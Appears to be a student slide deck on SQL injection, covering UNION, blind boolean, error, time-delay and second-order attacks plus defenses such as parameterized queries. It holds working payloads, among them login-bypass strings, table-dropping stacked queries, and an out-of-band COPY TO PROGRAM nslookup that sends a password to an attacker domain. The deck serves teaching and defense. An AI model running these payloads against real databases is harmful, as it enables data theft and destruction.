TRƯỜNG ĐẠI HỌC SƯ PHẠM KỸ THUẬT THÀNH PHỐ HỒ CHÍ MINH
SQL INJECTION
Information Security
Group 5
1
MEMBERS
1 Đào Nguyễn Nhật Anh - 23110073
2 Nguyễn Thế Tân - 23110152
3 Phan Thị Thanh Trà - 23110159
4 Nguyễn Đoàn Trường Vĩ - 23110173
2
OUTLINE
2.2 Inferential SQLi (Blind)
1. Overview 2.2.1 What is blind SQL injection
What is SQL Injection 2.2.2 Triggering conditional responses
Mechanism and Detection 2.2.3 Error-based SQL injection
Impact and Attack Statistics 2.2.4 Triggering time delays
2 Classification 2.2.5 Out-of-band techniques
2.1 In-band SQLi (Classic) 2.3 Advanced Second-order SQLi
2.1.1 Retrieving hidden data 3. Prevention
2.1.2 Subverting application logic 3.1 Input Validation and Parameterized
2.1.3 UNION attacks Queries
3.2 WAF Usage and Principle of Least
Privilege
4. Conclusion 3
OVERVIEW
SQL Injection is one of the most common web hacking techniques.
4
WHAT IS
SQL INJECTION?
SQL Injection a type of code injection
attack that exploits vulnerabilities in the
interface between web applications and
database servers.
The attacker interferes with the queries the application makes to its database
⟶ view data
⟶ modify or delete data
5
WHAT IS SQL INJECTION?
Example: Login Bypass via SQL Injection
Normal Query (expected)
Injected Query (after SQLi)
6
Common causes of SQL Injection
Lack of Input Validation
Direct String Concatenation in SQL Queries
Failure to Separate Code and Data
Not Using Prepared Statements / Parameterized Queries
Excessive Database Privileges
Not Escaping Special Characters
7
MECHANISM
User Input Is Accepted
Query Logic Is Modified
Attacker Injects Malicious SQL Code
Application Builds SQL Query Unsafely
Database Executes the Injected Query
Attacker Gains Unauthorized Capabilities
8
Boolean-Based Testing
Submit conditions like:
OR 1=1 (true) vs. OR 1=2 (false)
If the application's responses differ
Error-Based Testing → possible SQLi. Time-Based Blind Testing
Inject a single quote ' or special Use payloads that cause delays, such
characters. as:
Look for SQL errors or unusual '; WAITFOR DELAY '00:00:05' --
behavior (500 errors, broken pages). Slow response times indicate vulnerable
DETECTION queries.
Out-of-Band (OAST) Testing Automated Scanning Tools
Use DNS/HTTP callback payloads to Testing SQL-Specific Syntax Use scanners like:
trigger external interactions. Burp Suite Scanner
Provide input that evaluates to the sqlmap
Useful when no visible errors or timing OWASP ZAP
original value and a modified value.
differences appear. Detects SQLi quickly and reliably.
Compare responses to identify
9
manipulation of the SQL query.
IMPACS OF SQL INJECTION
UNAUTHORIZED ACCESS SERVICE DISRUPTION
DATA THEFT BACKDOORS
DATA MANIPULATION FINANCIAL LOSSES
SYSTEM COMPROMISE REPUTATION DAMAGE
10
ATTACK STATISTICS
11
2. CLASSIFICATION
2.1 2.2 2.3
IN-BAND SQLI INFERENTIAL SQLI ADVANCED
(CLASSIC) (BLIND) SECOND-ORDER SQLI
12
2. CLASSIFICATION
2.1 IN-BAND SQLI (CLASSIC)
2.1.1 2.1.2 2.1.3
RETRIEVING SUBVERTING UNION ATTACKS
HIDDEN DATA APPLICATION
LOGIC
13
2.1 IN-BAND SQLI (CLASSIC)
2.1.1 RETRIEVING HIDDEN DATA
2.1.2 SUBVERTING APPLICATION LOGIC
14
2.1 IN-BAND SQLI (CLASSIC)
SELECT * FROM users
WHERE username = '{username_input}' AND password = '{password_input}'
username_input = admin’-- SELECT * FROM users
password_input = abcd WHERE username = 'admin’--' AND password = 'abcd'
username_input = ‘ OR 1=1-- SELECT * FROM users
password_input = abcd WHERE username = '‘ OR 1=1--' AND password = 'abcd'
15
2.1 IN-BAND SQLI (CLASSIC)
2.1.3 UNION ATTACKS
1 DETERMINING THE NUMBER OF COLUMNS
2 FINDING COLUMNS WITH A USEFUL DATA TYPE
3 DETERMINING THE DATABASE TYPE AND VERSION
4 LISTING THE CONTENTS
5 RETRIEVING DATA
16
2.1 IN-BAND SQLI (CLASSIC)
Syntax Differences
17
2.1 IN-BAND SQLI (CLASSIC)
Syntax Differences
18
2.1 IN-BAND SQLI (CLASSIC)
Syntax Differences
19
2.1 IN-BAND SQLI (CLASSIC)
Syntax Differences
20
2.1 IN-BAND SQLI (CLASSIC)
MaKH Tên_KH Địa_Chỉ MaSP Tên_SP Số_Lg
1 A LVV 1001 Y 100
SELECT * FROM KhachHang SELECT MaKH, Tên_KH FROM KhachHang
UNION UNION
SELECT * FROM SanPham SELECT MaSP, Tên_SP FROM SanPham
Result: 1 A
1001 Y
21
2.1 IN-BAND SQLI (CLASSIC)
1 DETERMINING THE NUMBER OF COLUMNS
2 FINDING COLUMNS WITH A USEFUL DATA TYPE
SELECT * FROM users
WHERE username = '‘
ORDER BY 1--
SELECT * FROM users WHERE username = '‘
UNION
SELECT NULL--
22
2.1 IN-BAND SQLI (CLASSIC)
3 DETERMINING THE DATABASE TYPE AND VERSION
SELECT * FROM users WHERE username = ''
UNION
SELECT 1, version(), 'V', 9999, 'A', 'B'--' AND password = 'abcd'
23
2.1 IN-BAND SQLI (CLASSIC)
4 LISTING THE CONTENTS
SELECT * FROM users WHERE username = '‘
UNION
SELECT 1, string_agg(table_name, ','), 'A', 9999, 'B', 'C'
FROM information_schema.tables
WHERE table_schema = 'public' ----' AND password = 'abcd'
SELECT * FROM users WHERE username = ''
UNION
SELECT 1, string_agg(column_name, ','), 'A', 9999, 'B', 'C'
FROM information_schema.columns
WHERE table_name = '?' --' AND password = 'abcd'
24
2.1 IN-BAND SQLI (CLASSIC)
5 RETRIEVING DATA
SELECT * FROM users WHERE username = '‘
UNION
SELECT * FROM users--' AND password = 'abcd'
SELECT * FROM users WHERE username = ''
UNION
SELECT * FROM users OFFSET i--' AND password = 'abcd'
25
2.1 IN-BAND SQLI (CLASSIC)
SELECT * FROM users WHERE username = '‘
UNION
SELECT 1,
''' UNION SELECT id,
username || ''~'' || password || ''~'' ||secret_data,
department, salary, ''A'', ''A'' FROM users --',
'A',
9999, 'Don't' : Don
'A',
'Don''t' : Don't
'A' --
26
2.1 IN-BAND SQLI (CLASSIC)
SELECT * FROM users WHERE username = '‘
UNION
SELECT 1,
''' UNION SELECT [Link], [Link], ''A'',
1, t.name_task, ''A''
FROM tasks t JOIN users u
ON t.user_id = [Link] --',
'A',
0,
'A',
'A' -- 27
2.1 IN-BAND SQLI (CLASSIC)
Stacked Queries
SELECT * FROM users WHERE username = '‘ ;
CREATE TABLE hacker_log (id INT, data TEXT);
COMMIT; --
SELECT * FROM users WHERE username = '';
DROP TABLE hacker_log;
COMMIT; --
28
2.1 IN-BAND SQLI (CLASSIC)
Stacked Queries
SELECT * FROM users WHERE username = '‘ ;
ALTER TABLE tasks ADD COLUMN note VARCHAR(50);
COMMIT; --
SELECT * FROM users WHERE username = '‘;
ALTER TABLE tasks DROP COLUMN note;
COMMIT; --
29
2.1 IN-BAND SQLI (CLASSIC)
Stacked Queries
SELECT * FROM users WHERE username = '‘ ;
UPDATE users SET salary = 1000 WHERE username = 'dave';
COMMIT; --
30
2.2. INFERENTIAL SQLi
BLIND SQL INJECTION
31
2.2.1 What is blind SQL Injection ??
32
2.2.1 What is blind SQL Injection
Blind SQL Injection is a type of SQL Injection where the attacker
cannot see query results, but can still extract data by observing
how the application’s behavior changes in response to injected
conditions.
→ KEY CHARACTERISTICS :
- RELIES ON APPLICATION BEHAVIOR FOR
INFERENCE.
- HARDER TO DETECT AND DEFEND AGAINST.
- NO DIRECT FEEDBACK FROM THE
DATABASE
- MORE TIME-CONSUMING THAN
TRADITIONAL SQLI.
33
Triggering Conditional
Responses
Error-based SQL Injection
Blind SQL Injection
Triggering Time Delays
Out-of-band Techniques
34
2.2.2 Triggering Conditional Responses
Triggering Conditional Responses is a Blind SQL Injection technique based on
Boolean logic.
Attackers inject True/False conditions into queries: ' OR 1=1 --
If True → The website shows a different response (e.g., login succeeds).
If False → The response stays normal or returns an error.
→ This difference in behavior allows attackers to extract data without seeing the actual SQL output.
35
2.2.2 Triggering Conditional Responses
SELECT * FROM users
' OR 1=1 -- => TRUE => WHERE username = '‘ OR 1=1--' AND password = ''
(SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='USERS' LIMIT 1)
=> HAVING USERS TABLE IN DATABASE
36
2.2.2 Triggering Conditional Responses
username: coob INDEX (EX: 1, 2, 3, ..)
' OR SUBSTRING( (SELECT username FROM users LIMIT 1), 1, 1 )='a' --
INDEX = 1
username:
c....
CHARACTER TO CHANGE
1- ‘a’ False
2- ‘b’ False
A
3- ‘c’ True Da cces
shb s
oa the
4- ‘d’ rd
pa
ge
5- ‘e’
6- ‘f’ c INDEX = 2 ... INDEX = 4
7- ‘g’
....
37
hacker: ngon ngon
2.2.3 Error-based SQL Injection
Conditional ERROR
Concept: Used when the web page returns the same content for both True and False
queries (Fully Blind).
If TRUE: Database crashes -> HTTP 500 / Internal Server Error.
If FALSE: Calculation is valid -> HTTP 200 / Normal Page.
' OR (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE NULL END) =1--
CONDITION - Boolen 38
2.2.3 Error-based SQL Injection
CONDITIONAL RESPONSE CONDITIONAL ERROR
"TRUE" Signal
✅ Page loads normally, but content ⚠️ Server Error (HTTP 500), "Division by
changes (e.g., "Welcome Admin" zero", or blank page.
appears).
"FALSE" Signal
❌ Page loads normally, but content ✅ Normal Operation (HTTP 200). The
is missing (e.g., "Login Failed"). page loads perfectly (e.g., Redirect to
Dashboard).
When the application displays different When the application is "Stubborn" (returns
Best Use Case
messages for valid/invalid queries. identical pages for True/False).
39
2.2.3 Error-based SQL Injection
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
40
2.2.3 Error-based SQL Injection
Data Extraction
Concept:
A technique that exploits verbose error messages generated by the database. The attacker
intentionally triggers a Type Conversion Error
The database, unable to perform this action, returns a fatal error message that contains the
sensitive data itself
If TRUE: Database fails to convert type -> invalid input syntax: [PASSWORD]
If FALSE: Database suppresses error -> Return ⚠️Sai tài khoản hoặc mật khẩu!
' OR (SELECT CAST((‘TestERROR’) AS int)) = 1--
CONDITION 41
2.2.3 Error-based SQL Injection
password: admin123 username, password
' OR CAST((SELECT password FROM users LIMIT 1) AS int) =1 --
42
2.2.3 Error-based SQL Injection
Problem
Data Extraction relies on Type Conversion Failure (String → Int)
only number
' OR CAST(( 'text' || (SELECT password FROM users WHERE username='eve')) AS INT) = 1 --
Xời làm khó a à
43
2.2.3 Error-based SQL Injection
SELECT CAST( (SELECT password FROM users LIMIT 1 ) AS int )
> invalid input syntax for integer: "secret"
44
2.2.4 Triggering Time Delays
Concept: Inferring data by measuring the time it takes for the server to respond.
Scenario: The application is Fully Blind (No content changes, No error messages). It
returns the exact same page whether the query is True or False.
If TRUE: Database executes pg_sleep(5) -> The browser spins/loads for 5+ seconds.
If FALSE: Database executes pg_sleep(0) -> The page loads Instantly
' OR ( CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END ) IS NOT NULL --
CONDITION 45
2.2.4 Triggering Time Delays
' OR ( CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END ) IS NOT NULL --
46
2.2.5 Out-of-band Techniques
DNS LOOKUP WITH DATA EXFILTRATION
'; COPY (SELECT 'NSLOOKUP ' || USERNAME || '.[Link]'
FROM USERS LIMIT 1) TO PROGRAM 'CMD'; --
SELECT 'NSLOOKUP ' || USERNAME || '.[Link]' FROM USERS LIMIT 1
nslookup [Link]
47
2.2.5 Out-of-band Techniques (OAST)
DNS LOOKUP WITH DATA EXFILTRATION
'; DO $$ BEGIN EXECUTE 'COPY (SELECT '''') TO PROGRAM ''nslookup '||(SELECT password FROM users LIMIT
1)||'.YOUR-DOMAIN'''; END $$; --
48
2.2.5 Out-of-band Techniques
49
2.2.5 Out-of-band Techniques
50
2.3 ADVANCED
SQL INJECTION
(SECOND ORDER)
51
WHAT IS
SECOND-ORDER
SQL INJECTION?
Definition:
A vulnerability where user-supplied data is stored by the
application and later incorporated into SQL queries in an
unsafe manner.
The Difference:
Unlike standard SQL injection (which attacks immediately),
Second-Order is a two-step process. The attack vector is
stored first, then triggered later.
52
THE
MECHANISM SUBMISSION (STEP 1):
An attacker submits crafted input (e.g., creating a
(HOW IT
profile, entering a name). The application stores this
data.
WORKS)
STORAGE:
The data sits in the database. It might have been
"sanitized" for storage, but it retains its malicious
payload.
EXECUTION (STEP 2):
A different application function reads the stored
data and uses it in a new SQL query without proper
safety measures, triggering the attack.
VISUAL:
Diagram showing User Input -> Database -> Unsafe
Query Execution
53
ATTACK CONTEXT: USER REGISTRATION FORM.
Attacker’s input:
SCENARIO Robert'); DROP TABLE Users;--
INCORRECT DEFENSE OF THE APPLICATION:
IThe application “escapes” the input immediately to
prevent SQLi. Executed DB statement:
INSERT INTO users ... VALUES ('Robert''); ...')
RESULT:
The database interprets the doubled '' as a single
actual quote '. Stored value becomes:
Robert'); DROP TABLE Users;-- (The payload is
stored in raw form).
54
ATTACK
CONTEXT: ADMIN PAGE (VIEWING USER LOGS).
Vulnerable code:
String query = "SELECT * FROM logs WHERE
SCENARIO username = '" + storedUsername + "'";
WHAT HAPPENS:
The application retrieves the stored value:
Robert'); DROP TABLE Users;--
It concatenates this value into the new query.
FINAL EXECUTED QUERY:
SELECT * FROM logs WHERE username = 'Robert');
DROP TABLE Users;--'
RESULT:
The SELECT query runs, and the DROP TABLE Users
statement is executed, deleting the table.
55
WHY DOES THIS
HAPPEN?
THE FAILURE OF “SANITIZATION”
Misplaced trust:
Developers assume that data coming from the database is
safe.
Escaping is not permanent:
Escaping (adding backslashes or doubling quotes) only
protects the *current* SQL statement. When data is
retrieved later, it returns to its original dangerous form.
Context Switching:
Data that was safe in an INSERT context becomes
dangerous when reused in a SELECT context without fresh
protection.
56
BUSINESS
IMPACT
If successfully exploited, attackers can:
Read or modify critical application data.
Interfere with application logic.
Escalate privileges within the database.
Take control of the database server.
57
How it works:
EFFECTIVE The application defines the query
REMEDIATION structure with placeholders.
User input is inserted into
placeholders strictly as data, never as
Recommendation: Parameterize executable code.
every variable incorporated into
database queries, even if the data
source seems trusted (like your own
database).
58
PARAMETERIZED QUERIES EXAMPLE
Scenario: The hacker performs an attack by
updating the password for the user admin' #.
String sql = "UPDATE users SET password = ? WHERE username = ?";
PreparedStatement pstmt = [Link](sql);
[Link](1, "123456");
[Link](2, "admin' #");
pstmt..executeUpdate();
Actual Result:
The database receives the command: "Find
the user whose username exactly matches
[admin' #] and update the password"
→ Successfully prevented SQL injection.
59
INEFFECTIVE
DEFENSES
Doubling Single Quotes
The Defense: Escaping quotes before
insertion.
Numeric Data: Quotes aren't needed.
Second Order Factor: Quotes doubled during
insertion return to original form when read
from the database, removing protection
Input: Admin'' -> Stored in DB: Admin'
60
-> Retrieved: Admin' (Attack Active)
INEFFECTIVE
DEFENSES
Stored Procedures
The Defense: Using stored procedures.
Dynamic SQL inside procedures remains
vulnerable.
Unsafe invocation can still concatenate user
input unsafely.
61
WHY STORED PROCEDURES ARE NOT
ALWAYS SAFE?
1. Developer Mistake (Vulnerable Stored Procedure)
A developer creates a stored procedure to search for a user.
Instead of using proper parameter binding, they concatenate strings
inside the stored procedure for “flexibility” (e.g., dynamic table or
column names).
Stored Procedures Example:
CREATE PROCEDURE SearchUser (@username NVARCHAR(100))
AS
BEGIN
DECLARE @query NVARCHAR(MAX);
-- DEADLY MISTAKE HERE:
-- Concatenating @username directly into the SQL string
SET @query = 'SELECT * FROM Users WHERE Name = ''' + @username + '''';
-- This EXEC will run *anything* inside @query
EXEC(@query);
62
END
WHY STORED PROCEDURES ARE NOT ALWAYS SAFE?
2. The Attack
An attacker (or malicious Second-Order data) inputs:
admin'; DROP TABLE Users; --
3. What will happen?
When the application calls the stored procedure:
EXEC SearchUser('admin''; DROP TABLE Users; --')
Inside the procedure, the variable @query becomes:
SELECT * FROM Users WHERE Name = 'admin'; DROP TABLE
Users; --'
The EXEC(@query) command then blindly executes the entire string.
→ Result: The Users table is destroyed.
63
3. PREVENTION
Key Concept: Use Defense in Depth at
both application and infrastructure layers.
3.1 Parameterized Queries.
3.2 Input Validation
3.3 SQL DOM
3.4 WAF Usage
3.5 Principle of Least Privilege.
64
3.1 PARAMETERIZED QUERIES
The Gold Standard: Parameterized Queries
Definition: Prepared Statements.
Mechanism:
+) Define query with placeholders (e.g., ?).
+) Bind user input as separate data.
Why it works:
+) Input is treated strictly as data even if it
contains malicious characters.
65
3.2 INPUT VALIDATION
Supplementary Defense: Input
Validation
Used when parts of query cannot be
parameterized.
Whitelisting Strategy:
+) Only accept explicitly allowed values.
Example: Sort input must be ASC or
DESC.
Type Checking: Ensure input matches
expected type.
66
3.2 INPUT VALIDATION
Example:
Scenario: The application expects a numeric
User ID
Attack: The attacker inputs ?id=105 OR 1=1 to
bypass authentication or retrieve all data
Defense: Enforce Strict Type Checking. The
application verifies if the input is a valid Integer.
Result: Since "105 OR 1=1" is a String (text) and
not an Integer, the application rejects the
request immediately before touching the
database.
67
3.3 SQL DOM (DATABASE OBJECT MODEL)
The Object-Oriented Approach: Encapsulation & Type Safety
Definition: A set of classes that enables automated data
type validation and escaping through object encapsulation.
Mechanism:
+) Object-Based Construction: Replaces unregulated string
concatenation with a systematic API (using methods to build queries).
+) Automated Validation: Applies rigorous type-checking and input
filtering within the API structure itself.
Why it works:
+) It transforms query building from a risky, manual process into a
reliable, type-checked process, making it structurally impossible to
inject malicious SQL syntax.
68
3.3 SQL DOM (DATABASE OBJECT MODEL)
❌ Unsafe String Concatenation:
string query = "SELECT * FROM Users WHERE Id =
" + input;
✅ SQL DOM / Safe API Approach:
SelectQuery query = new
SelectQuery(UsersTable);
[Link](
new Constraint(IdColumn,
[Link], input)
);
69
3.4 WAF USAGE
WAF Usage (Web Application Firewall)
Role: Outer defensive shield.
Function: Analyzes HTTP traffic and
blocks SQLi patterns.
Key Takeaway: WAF mitigates but
does not replace fixing code.
70
3.5 PRINCIPLE OF LEAST PRIVILEGE
Principle of Least Privilege
Implementation:
+) Database account should have minimal
permissions.
Example: Only SELECT, INSERT, UPDATE.
Do Not Use: sa, root, admin.
Impact: Attackers cannot drop tables or
shutdown server due to limited
permissions.
71
SUMMARY
SQL Injection remains one of the most dangerous web
vulnerabilities.
It occurs when user input is mixed directly with SQL code.
Three main categories:
In-band SQLi, Blind SQLi, Second-order SQLi.
Common exploitation techniques include:
UNION-based, Error-based, Boolean-based, Time-delay,
and OAST.
72
WHAT WE LEARNED
Never trust user input — always validate and sanitize.
Separate data from code to prevent injection.
Different SQL engines have different syntax (string
concatenation, comments, metadata tables),
so exploitation varies across MySQL, PostgreSQL, Oracle,
SQL Server.
73
HOW TO STAY SECURE
Use Prepared Statements / Parameterized Queries — the
most effective defense.
Apply strict input validation and whitelist filtering.
Implement WAF (Web Application Firewall).
Use the Principle of Least Privilege to limit database
damage.
Avoid string concatenation; use secure query-building APIs.
74
THANK
YOU!
[Link]
75